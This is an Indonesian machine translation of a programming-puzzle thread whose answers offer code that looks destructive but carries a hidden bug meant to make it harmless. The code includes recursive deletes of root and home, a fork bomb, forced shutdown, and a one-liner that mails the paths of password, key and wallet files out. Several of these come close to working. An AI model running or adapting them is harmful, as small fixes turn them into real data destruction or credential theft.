Trolling the troll [ditutup]

184

Troll telah menangkap Anda dan memaksa Anda untuk menulis malware (didefinisikan sebagai program yang merusak komputer yang menjalankannya). Troll dapat membaca dan memahami kode, tetapi tidak begitu baik dalam menemukan bug.

Tujuan Anda adalah menulis program yang:

  1. Sepertinya malware; yaitu, seorang programmer pemula yang membaca kode akan diyakinkan bahwa kode menyebabkan kerusakan pada komputer yang menjalankannya.
  2. Sebenarnya tidak ada kerusakan sama sekali.

CATATAN: Troll hanya membaca kode - bukan komentar. Jadi kodenya sendiri harus jelas dan cukup meyakinkan.

CONTOH (pesta):

rm - rf /home

Contoh ini terlihat seperti rm -rf /homeyang menghapus semua folder rumah dari sistem, tetapi sebenarnya, karena ruang sebelum rf, ini tidak akan berfungsi dan hanya menyebabkan pesan kesalahan yang tidak berbahaya.

Ini adalah solusi yang dapat diterima tetapi tidak terlalu baik, karena bug ini cukup mudah dideteksi.

Di sisi lain, program yang kompleks dan tidak dapat dibaca juga tidak akan menjadi solusi yang sangat baik, karena tidak akan terlihat seperti malware.

Solusi yang baik harus cukup mudah dibaca untuk meyakinkan pembaca bahwa itu adalah malware, tetapi mengandung bug yang sulit untuk dideteksi dan menjadikannya tidak berbahaya.

Ini adalah kontes popularitas, jadi kode dengan kemenangan terbanyak menang.

Erel Segal-Halevi
sumber
160
Saya merasa seperti Anda mencoba menipu saya untuk menempelkan rm - rf /ke dalam cangkang saya ...
undergroundmonorail
19
Bash rm -rf /. Kecuali jika sistem ini sangat tua , itu akan membutuhkan --no-preserve-root:)
user80551
10
-1 karena a) kode-trolling dan yang lebih penting b) Saya sangat prihatin dengan pertanyaan apa pun tentang membuat malware (meskipun itu palsu itu sangat dekat).
Gareth
13
@ Gareth Ini sebenarnya bukan malware, (yang biasanya mencoba disembunyikan dan / atau mencuri data hari ini), itu sebagian besar upaya yang sangat jelas untuk menghapus sesuatu, yang bisa ditulis oleh setiap programmer pemula dengan sedikit usaha.
Bob
29
rm - rf /bukan contoh yang valid! Ini dapat menyebabkan kerusakan jika Anda memiliki file yang dipanggil rfdi direktori saat ini
gnibbler

Jawaban:

139

Pesta

Saya telah pergi ke arah lain. Daripada menghapus semua yang ada di hard drive Anda, saya akan mengisinya dengan sampah.

Script ini membuat folder kemudian secara kontinyu catmenyimpan semua file bersama-sama dan menempatkannya di yang baru, menambahkan nilai ls -aluntuk ukuran yang baik (dan agar file awal memiliki sesuatu).

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

kecuali...

/ bin / bash / (bukan / bin / bash) sangat tidak mungkin menjadi penerjemah yang valid. Ini hanya kesalahan ketik umum saya. Dan, karena "shebang secara teknis adalah komentar, troll akan mengabaikannya"

James Webster
sumber
56
+1. Baris pertama dalam sebuah skrip adalah titik buta bagi banyak programmer (termasuk saya).
Erel Segal-Halevi
44
dan shebang secara teknis adalah komentar, sehingga troll akan mengabaikannya
Brian Minton
14
+1 untuk menyalahgunakan komentar non-komentar :) itu benar-benar tidak jelas
masterX244
37
Menjalankannya seperti bash whatever.shakan merusak trik Anda ...
Darkhogg
8
@ Arkhogg, semoga beruntung! Saya menyimpannya evil.commandsehingga troll itu hanya dapat mengklik dua kali untuk membuka (setidaknya pada Mac)
James Webster
114

Haskell

Periksa halaman manual ini , removeDirectoryRecursivehapus direktori dengan semua isinya!

import System.Directory
main = return (removeDirectoryRecursive "/")

Kode yang benar akan menjadi main = removeDirectoryRecursive "/"
yang mainfungsi seharusnya mengembalikan konsep dari melakukan sesuatu. removeDirectoryRecursive "/"mengembalikan konsep menghapus sistem file Anda, tetapi returnfungsinya (ya, itu adalah fungsi), membungkus argumennya dalam konsep dummy untuk mengembalikan nilai itu.
Jadi kita berakhir dengan konsep mengembalikan konsep menghapus drive Anda. (Yo dawg Saya suka Anda suka konsep.) Haskell runtime mengeksekusi konsep yang dikembalikan dari maindan membuang nilai yang dikembalikan, yang dalam kasus kami adalah konsep menghapus sistem file Anda.

mniip
sumber
85
+1. Saya tidak dapat memahami bug ini bahkan setelah saya membaca penjelasan Anda ...
Erel Segal-Halevi
3
Seperti yang saya pahami ini adalah kesalahan pointer (menunjuk ke fungsi pointer bukannya menunjuk ke fungsi). Cukup bagus, programmer pemula umumnya mudah jatuh untuk trik pointer.
Gaborous
3
Pada dasarnya, ini akan mirip dengan yang return removeDirectoryRecursive;bertentangan return removeDirectoryRecursive();dalam C, apakah itu benar?
3Doubloons
4
@ user1121352 Tidak. Fungsi itu sendiri dipanggil, tetapi tidak dapat menghapus file karena murni. Sebaliknya itu memberikan tindakan IO, yang ketika kembali dari main, dieksekusi dan menghapus file. Namun, secara eksplisit menggunakan returnfungsi, menciptakan tindakan IO yang tujuannya hanya untuk menciptakan nilai.
mniip
4
@Cthulhu returntidak ada hubungannya dengan returnbahasa lain (atau bahkan dengan "mengembalikan" nilai dari suatu fungsi). Nilai-nilai tipe tidak IO amemiliki banyak hubungannya dengan fungsi dalam bahasa lain. Jadi analoginya sangat bergelombang
Niklas B.
103

PHP

Berikut ini adalah skrip PHP rekursif yang mencoba menghapus setiap file di situs web Anda. Butuh beberapa saat untuk menyelesaikannya jika situs webnya cukup besar, jadi bersabarlah ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

Hanya satu amat kecil masalah ...

Tidak ada perintah delete () di PHP. Skrip akan gagal segera setelah bertemu dengan perintah ini, tetapi tidak ada pesan kesalahan akan ditampilkan karena pelaporan kesalahan ditekan oleh awalan perintah ini dengan @ . Gambar GIF yang berkedip memberi kesan bahwa sesuatu sedang terjadi, padahal sama sekali tidak ada yang terjadi sama sekali.

lubang keras melengking
sumber
31
^ Sejauh yang saya mengerti: tidak ada fungsi delete (), manual hanya mengatakan bahwa ini adalah "entri palsu" bagi siapa pun yang mencari fungsi yang tepat (batalkan tautan). Itu tidak berarti ada semacam pengalihan "otomatis" di PHP.
Erti-Chris Eelmaa
93
@ user11153 dikontrol.
basher
34
Lihat, saya pikir alasan kesalahan akan diabaikan dan eksekusi akan berlanjut adalah karena PHP.
Zoey
17
Saya pikir menggunakan fungsi acak yang tidak ada sedikit jelas ( deleteuntuk menghapus file? Tidak ada alasan untuk menganggap bahwa akan menipu siapa pun). Bagaimana kalau unlⅰnk(yang menggunakan U + 2170 bukannya "i")?
Konrad Rudolph
18
@KonradRudolph Suatu fungsi yang dinamai deleteuntuk menghapus file sepenuhnya dapat dipercaya dalam PHP. Satu-satunya hal yang tidak dapat dipercaya adalah bahwa jika itu nyata, akan ada 3 atau 4 cara lain untuk melakukannya dan semua kecuali satu dengan nama paling aneh akan memiliki kelemahan keamanan yang serius.
Brendan Long
93

Perl (Unix)

Menghapus semua file di sistem.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

fitur

  • Ini Perl yang valid. Ia bahkan mengkompilasi dan berjalan dengan -wdan use strict!

  • Tidak ada quibbles seperti C ++ delete. unlinkbenar-benar fungsi untuk menghapus file, rmdirbenar-benar menghapus direktori, dll.

  • Benar menangani direktori yang sangat bersarang yang pathname absolutnya dapat melebihi panjang maksimum sistem, dengan mengubah ke setiap direktori untuk menggunakan jalur relatif. Juga, tidak akan kehabisan pegangan direktori, karena membaca dan menutup direktori sebelum berulang.

Spoiler

Di Unix, entri pertama di direktori root biasanya "." sehingga program akan melakukan rekursi chdir (".") yang tak terbatas hingga kehabisan memori dan macet.

Catatan selanjutnya

Ini lebih sulit untuk mendapatkan yang benar dari yang diharapkan. Jika Anda tidak menggunakan pendekatan chdir, Anda akhirnya mendapatkan nama path yang terlalu panjang. Kemudian -d mengembalikan false dan rekursi tak terbatas rusak, dan file mungkin benar-benar dihapus! Bug serupa dapat terjadi jika Anda menjaga direktori tetap terbuka; akhirnya Anda kehabisan, opendir gagal, killdir kembali, dan penghapusan mulai terjadi.

Nate Eldredge
sumber
45
"Lalu -d mengembalikan false dan rekursi tak terbatas rusak, dan file mungkin benar-benar dihapus!" apakah Anda belajar itu dengan cara yang sulit?
Niklas B.
4
@ NiklasB .: Untungnya saya menguji versi dummy :)
Nate Eldredge
Saya berharap bahwa kode tersebut hanya dapat menghapus folder kosong, tetapi tidak file ...
Qwertiy
3
"Pada Unix, entri pertama dalam direktori root biasanya". "". Jadi, satu lagi malware khusus Windows?
Alexander
1
@timmyRS: Program akan macet. The sistem akan tetap berjalan baik-baik saja.
Nate Eldredge
81

Shell satu-liner

Ini akan mencuri semua kata sandi korban, kunci pribadi, bitcoin, dll.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail [email protected]

Spoiler:

Ini mungkin terlihat seolah-olah mengirim email semua file ke troll, tetapi sebenarnya itu hanya mengirim email nama file mereka.

Nate Eldredge
sumber
4
Untuk mengirim konten melalui email cat, perintah , headatau tailharus dilibatkan di suatu tempat.
Agi Hammerthief
7
Masih bocor data tidak peduli apa. Apakah ini troll troll?
Kyle Kelley
-exec cat '{}' \; | …
Martin Ueding
@queueoverflow-print0 | xargs -0 cat |
quantum
1
Saya mendapatkannya tanpa spoiler setelah membaca kode 2-3 kali.
nyuszika7h
74

Batch / CMD

Menyimpan

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

dan membuat mereka menjalankannya dengan parameter masing-masing drive di komputer.

% 0 selalu menjadi parameter pertama - nama file. Setelah ini muncul set parameter aktual, tetapi sudah dihapus sendiri sehingga tidak akan melanjutkan.

kitcar2000
sumber
104
Juga mengandalkan perilaku lucu Batch untuk menutup file dan membukanya kembali untuk membaca baris berikutnya untuk setiap baris ...
Bob
8
DEL %0tidak akan berfungsi kecuali ekstensi file ditentukan dalam baris perintah dan skrip dijalankan dengan memberikan path lengkapnya atau Anda berada di direktori yang sama. DEL "%~f0"akan memecahkan kedua masalah dan tahan terhadap ruang di mana saja di dalam jalan. Juga %10dan ke atas tidak ada - itu diterjemahkan %1diikuti oleh literal 0.
Jon
14
+1. Bahkan jika troll mengerti apa yang "DEL% 0" lakukan, Anda dapat meyakinkannya bahwa ini hanya untuk menghapus bukti, dan itu tidak membahayakan karena file batch tetap tersimpan dalam memori sampai pelaksanaannya selesai (yang salah, seperti Bob kata).
Erel Segal-Halevi
2
Troll yang cerdik masih akan merasa aneh untuk mengeluarkan perintah untuk menghapus diri sendiri di awal file (daripada di akhir), kecuali jika Anda memperhitungkan seberapa terkenal skrip batch yang rentan kesalahan.
Agi Hammerthief
10
@ Bob Saya tidak tahu batch melakukan itu ... itu mengerikan.
w4etwetewtwet
48

Javascript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Nah, malware asli tidak akan meledakkan komputer Anda tetapi bisa mengganggu.

Ini tidak berbahaya karena:

The evalakan mematahkan loop tak terbatas dan memodifikasi pesan.

Michael M.
sumber
40
Saya akan mendukung Anda, tetapi Anda memiliki 1337 perwakilan.
scrblnrd3
5
Jadi tolong jangan! :)
Michael M.
@ scrblnd sudah hilang D:
Riking
11
Turunkan suara jawaban yang buruk sampai Anda kembali ke sana.
David Starkey
4
Hanya untuk menjelaskan kepada orang lain, atob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') akan mengeksekusi berikut: "infiniteLoop = false; evilMessage = evilMessage.replace (" spam " "CINTA");"
Mohammed Joraid
45

Jawa

Semoga para dewa memaafkan saya karena tunduk pada tuntutan Anda yang menyedihkan, troll.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec tidak meminta shell, jadi ekspansi glob tidak pernah terjadi dan perintahnya tidak akan berhasil menghapus direktori home yang bernama "" "

pria lain itu
sumber
1
Jadi, apa direktori home saya disebut '*'? ;)
Vorac
6
Jujur ini adalah salah satu jawaban Java yang lebih baik. Ini membutuhkan pemahaman yang cukup kuat tentang (banyak) kejatuhan Runtime.exec(). +1.
Qix
Apakah java memiliki setara aktual dengan system()fungsi c ?
SuperJedi224
@ SuperJedi224 Tidak, Anda harus menentukan /bin/sh -catau cmd /catau apa pun secara manual. Masuk akal karena Anda tidak pernah tahu apa yang akan dilakukan perintah pada OS baru.
pria lain 20
37

C

Karena dia tidak membaca komentar yang seharusnya melakukannya:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

Versi C ++

terima kasih kepada DragonLord untuk ini.

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

Tambahkan ini ke folder startup dan restart komputer.

Bagaimana itu bekerja:

?? / adalah trigraph dan akan menambahkan baris berikutnya ke dalam komentar jadi pada dasarnya itu tidak akan melakukan apa-apa. Catatan: jangan coba trigraph ini mungkin dimatikan dalam beberapa kompiler sebagai default dan harus dinyalakan agar ini berfungsi.

Mhmd
sumber
Jika dalam beberapa kompiler itu berfungsi, apakah itu trolling nyata?
Antonio Ragagnin
4
Tidak, tetapi dalam situasi nyata, saya lebih suka untuk tidak menangkap troll dengan kode seperti itu (Saya tidak ingin melukai troll!)
Antonio Ragagnin
2
@AntonioRagagnin Jika ini bekerja pada kompiler apa pun, kompiler itu buggy. Namun, sebagian besar kompiler modern akan memperingatkan tentang penggunaan trigraph (tetapi menerima dan menyusun kode).
Konrad Rudolph
8
Jadi jika Troll tidak membaca komentar dan solusi Anda adalah untuk membuat malware ke dalam komentar, tidak berarti semua troll melihat adalah fungsi maindengan return 0?
David Starkey
1
Ini ??/benar-benar trik lama ... Maaf.
Isiah Meadows
33

Jawa

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

Menggunakan karakter pelarian (\ n sebelum ntoskrnl.exe adalah baris baru, bukan N normal)

masterX244
sumber
20
Jika Anda tidak melarikan diri dari garis miring terbalik yang lain, kesalahannya mungkin terlihat tidak terlalu mencolok. Troll itu dapat berpikir bahwa bahasa tersebut tidak menggunakan pelarian backslash
3Doubloons
2
@ 3Doubloons Bukankah kode gagal dikompilasi dalam kasus itu?
Neil
2
@ Neil: Poin bagus. Tidak akan, tetapi jika troll membiarkan kita pergi begitu dia puas dengan bacaannya, kita berada di tempat yang jelas
3Doubloons
29
new File("C:\ntldr").delete();
Egor Skriptunoff
3
@ EgorSkriptunoff Butuh lebih dari beberapa saat untuk menyadari bahwa XP bukan varian XD.
Justin
31

PESTA

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t akan keluar setelah membaca dan menjalankan satu perintah. Script ini tidak mencetak output dan semua file aman!

Atau TAPI BACA SPOILER SEBELUM MENJALANKAN

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

Dengan permintaan populer .. #!/bin/bash -takan keluar setelah membaca dan menjalankan satu perintah. Jangan jalankan ini di bawah bash -xkarena akan mengabaikan -tdan menjalankan perintah dalam skrip.

JOgden
sumber
SPOILER Saya agak bingung ... apa bedanya antara set -tdan exit? Halaman Bash man mengatakan bahwa set -tkeluar setelah "satu perintah," tetapi tampaknya menghitung setperintah itu sendiri sebagai perintah itu dan segera keluar.
Kyle Strand
6
Jika perintah tambahan berada pada baris yang sama dengan set -t (mis. Dipisahkan oleh tanda titik koma atau double ampersand dll) mereka akan dieksekusi. Dalam hal ini baris pertama set -t; echo "hahaha deleting files.."akan menggema teks itu kemudian keluar.
JOgden
2
Ah. Terima kasih. Tidak menyadari ada perbedaan perilaku antara ;dan baris baru.
Kyle Strand
4
#!/bin/bash -tmungkin?
Neil
2
@JOgden itu terlalu buruk, bash tidak melakukan trik shebang-parsing yang sama dengan perl (jika Anda menjalankan perl foo.pldan foo.pl dimulai dengan #!somethingendingin/perl -flags, perl akan bertingkah seperti dipanggil -flags)
hobbs
30

Python

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

tiga tanda kutip "" "memulai string multiline dengan Python

Antonio Ragagnin
sumber
5
Salah, mereka memulai string multi-line docs.python.org/2/tutorial/introduction.html#strings
user80551
12
Saya melihat masalah secara harfiah dalam lima detik setelah melihat jawabannya, dan saya bahkan tidak tahu python.
The Guy with The Hat
6
Gagasan bagus, dengan masalah bahwa jika troll menggunakan sintaks, dia akan menemukannya.
o0 '.
1
Saya pikir rata-rata troll melihat kode berbahaya acak di internet dan hanya menyalinnya di forum lain.
Antonio Ragagnin
1
Bagus, saya berpengalaman dengan Python dan saya tidak melihat kekurangannya. Menggunakan 4 kutipan mungkin telah menipu saya.
Gaborous
29

D

Program ini valid dan dijalankan tanpa kesalahan. Ini memunculkan fungsi menghapus di utas baru, yang menghapus rootdirektori.

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

Tapi tidak ada yang dihapus ...

karena dalam D, variabel yang dideklarasikan pada lingkup modul adalah thread-local secara default. The mainfungsi set ke "/", tapi benang menelurkan memiliki salinan kosong, sehingga rmdirRecursefungsi tidak disebut.

biozikum
sumber
1
Baik! Saya berhasil menangkap bug yang satu ini, meskipun saya tidak tahu D.
Erel Segal-Halevi
1
"variabel global adalah thread-local secara default" Itu agak kontradiksi di sana
Niklas B.
@NiklasB. Apa kontradiksinya?
biozik
Itu bukan "variabel global" saat itu. Mungkin "variabel yang dideklarasikan di tingkat atas" adalah deskripsi yang lebih baik?
Paŭlo Ebermann
Ya, diedit! Itu kurang ambigu. Namun, tidak sepenuhnya kontradiksi, setidaknya secara leksikal.
biozik
25

C (Unix)

Menambahkan beberapa iklan tidak pernah merugikan siapa pun.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: itu label, lompatan ke label hilang kode harful. : V

ilmale
sumber
5
Saya berhasil menemukan yang ini :)
Erel Segal-Halevi
17
Tanda titik koma di URL pertama cukup mudah dikenali di font ini. Tapi ini kreatif!
CompuChip
12
goto dianggap membantu
1
Saya memperhatikannya karena tidak ada titik koma setelah goto. Jika Anda mengubahnya ke goto http;//www.trolling.com;(di kedua tempat) saya mungkin melewatkannya.
wchargin
2
Lagi pula tidak akan dikompilasi, karena tidak ada printfungsi.
nyuszika7h
24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

Tidak ada lansiran yang ditampilkan. Karena JavaScript tidak memerlukan ;di akhir baris, maka secara otomatis dimasukkan setelah return, menjadi return;. Kemudian undefined, yang palsu, dikembalikan bukan "objek" (yang sebenarnya diuraikan sebagai pernyataan blok).

Oriol
sumber
3
Tergoda untuk memberi +1 hanya untuk penggunaan "
really
1
Memberi +1 sebagai "cacat" ini di JS telah membuat saya lengah beberapa kali ... Harus membaca ulang beberapa kali untuk melihatnya
Mark Ormston
12
@NigelNquande, titik koma tidak menyebabkan kegagalan, tidak seperti yang dipecahkan oleh baris baru. Pengembalian dan objek yang seharusnya dikembalikan berada di baris terpisah, sehingga objek tidak pernah dikembalikan. Untuk "memperbaiki", hapus jeda baris sehingga berbunyireturn {
Dave Forber
3
Berharap bahwa troll tidak akan mengecilkan kode!
Mohammed Joraid
2
UglifyJS berkata WARN: Dropping side-effect-free statement [-:4,11]dan kembali function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
nyuszika7h
22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Tukar peringatan penghancuran untuk tindakan merusak jahat apa pun yang ingin Anda gunakan.

Spoiler:

Meskipun sepertinya konfigurasi diatur untuk dihapus ... dan itu ! deklarasi 'var' di dalam fungsi adalah "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html dan sebagai hasilnya sebenarnya salah ketika memasukkan fungsi.

scunliffe
sumber
Trik yang bagus, tetapi mengapa Anda mengatur ulang benderanya?
Mohammed Joraid
"Reset" hanyalah sebuah contoh ... itu bisa berupa variabel apa pun di mana penugasan itu valid ... hanya jika diawali dengan 'var' mungkin / akan memiliki konsekuensi yang tidak diinginkan.
scunliffe
16

Jawa

Mari kita hapus beberapa file penting saja!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

Tersembunyi di blok komentar adalah tambahan} {di luar komentar. Itu menempatkan penghapusan file dalam contoh inisialisasi contoh yang terpisah, yang dieksekusi sebelum konstruktor. Saat itu, importantFile masih nol.

Joe K.
sumber
16
Saya berhasil menemukan yang ini :)
Erel Segal-Halevi
17
Ini akan sangat, sangat jelas jika troll tidak membaca komentar.
ApproachingDarknessFish
6
Saya memilih untuk menafsirkan "troll tidak membaca komentar" sebagai "troll melompati komentar dengan cara yang sama seperti manusia jika melewatkan komentar." Dalam hal ini, mungkin mudah baginya untuk keliru melewatkan bahwa kedua karakter itu sebenarnya di luar komentar.
Joe K
1
Ini adalah satu-satunya yang saya pecahkan sebelum membaca penjelasan tetapi pekerjaan yang bagus!
nrubin29
15

Bash, C, Linux

Mungkin itu bukan malware, tapi pasti bisa menjadi bagian dari itu :)

Ini adalah eksploitasi luar biasa yang dapat memberi Anda root pada mesin linux apa pun! Ssst, jangan beri tahu siapa pun bahwa kita memilikinya!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

Sekarang jalankan skrip dan Anda akan menjadi root! Anda bisa memastikan menggunakan whoami!

Bahkan itu hanya mengelabui semua aplikasi yang Anda miliki UID = 0 (ini adalah id pengguna root).

Kode ini ditulis oleh Lcamtuf, sumber: http://lcamtuf.coredump.cx/soft/ld-expl

mik01aj
sumber
+1. Trik yang sangat bagus. Saya masih belum sepenuhnya mengerti cara kerjanya.
Erel Segal-Halevi
@ErelSegalHalevi: lihat stackoverflow.com/questions/426230/what-is-the-ld-preload-trick untuk detail lebih lanjut tentang LD_PRELOAD.
mik01aj
2
Baca terus fakeroot(1), yang merupakan pustaka yang mencegat panggilan ke berbagai fungsi sistem POSIX, menipu pemanggil untuk meyakini bahwa ia memiliki (palsu) membaca dan (palsu) menulis akses ke seluruh sistem. Sebenarnya, itu tidak akan (tidak bisa) benar-benar memberikan izin ini, tetapi ketika program, misalnya memanggil fungsi "palsu" chmodpada file dan mengubah izin, fakeroot akan mengingat izin ini sehingga statpanggilan akan mengembalikan izin yang diperbarui. Beberapa distro menggunakan ini untuk memungkinkan sistem paket membangun untuk membuat file dengan root:rootkepemilikan.
sleblanc
1
Ini lcamtuf, saya percaya: lcamtuf.coredump.cx/soft/ld-expl - setidaknya saya ingat itu ada di sana sejak 90
viraptor
13

pesta

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

Ada kesalahan sintaks pada baris "bom fork". Setelah { , harus ada spasi. Tanpa itu, skrip gagal karena definisi fungsi tidak diikuti oleh { token dengan sendirinya.

Konrad Borowski
sumber
2
Anda harus menambahkan catatan kehati-hatian (di spoiler, mungkin) bahwa ini tidak dapat dieksekusi kshkarena bom fork bukanlah kesalahan sintaksis di sana!
devnull
@ Dennis: Tidak terkait, saya belum melihat itu. Tapi utas yang menarik, jujur ​​saja. Saya tahu bagaimana parsing di bash bekerja, dan itu sebabnya saya tidak menggunakannya :-).
Konrad Borowski
11

Emacs Lisp

Pertama yang sederhana. Yang ini tidak melakukan apa-apa. Itu sebenarnya mencoba untuk menghapus elemen sama dengan: rekursif dari daftar yang dikembalikan oleh directory-files. Itu tidak akan menghapus file apa pun.

(delete :recursive
    (directory-files "/"))

Ini adalah salah satu yang bahkan dapat mematahkan dokter hewan.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

Ini hanya berjarak 1 karakter dari menghapus direktori root Anda.

emacs lisp akan memungkinkan hanya tentang apa saja menjadi nama simbol (variabel, fungsi, makro, dll). Boleh saja menggunakan unicode atas nama simbol Anda dan itulah yang terjadi di sini.

setqdapat mengambil sejumlah args (setq a 3 b 4)seperti melakukan a = 3; b = 4; tapi(setq a 3 b) juga valid dan sedang melakukan a = 3; b = nihil;

Nilai balik dari `setq 'adalah nilai yang ditetapkan untuk variabel terakhir. 4 dan nil masing-masing dalam contoh.

(setq a 3 b)persis apa yang terjadi dalam kode, tetapi bukannya b saya menggunakan karakter spasi kode unicode. Saya menetapkan nilai nil ke variabel bernama yang namanya adalah karakter unicode 0x2001. Karena nil ini dikembalikan oleh setq dan kondisi untuk loop sementara tidak pernah benar. Keluarkan karakter spasi putih itu dan itu akan berjalan dengan baik.

Jordon Biondo
sumber
10

Hanya hacker perl lainnya.

Saya menulis ini pada tahun 2002 , saat nongkrong di Perlmonks dan umumnya hanya mencoba untuk mendorong pengetahuan saya tentang Perl sejauh mungkin. Sama sekali tidak mengeditnya, tetapi masih berjalan.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

Jika saya ingat dengan benar, BEGINblok berjalan pertama-tama, di mana pun kode itu berada. Ini menggantikan @INCyang menentukan di mana Perl memuat pustaka dari itu dengan subrutin (biasanya set path, tapi ini diizinkan). Subrutin sebenarnya adalah blok data yang dikaburkan, yang melakukan beberapa sihir regexp + eval. Kemudian, ketika kode mengenai require File::Path;(tidak akan bekerja dengan use) sub ini dieksekusi dan hanya mencetak "Just another perl hacker.", Seperti tradisi, dan keluar. Sisa kode tidak pernah tercapai.

Stoffe
sumber
1
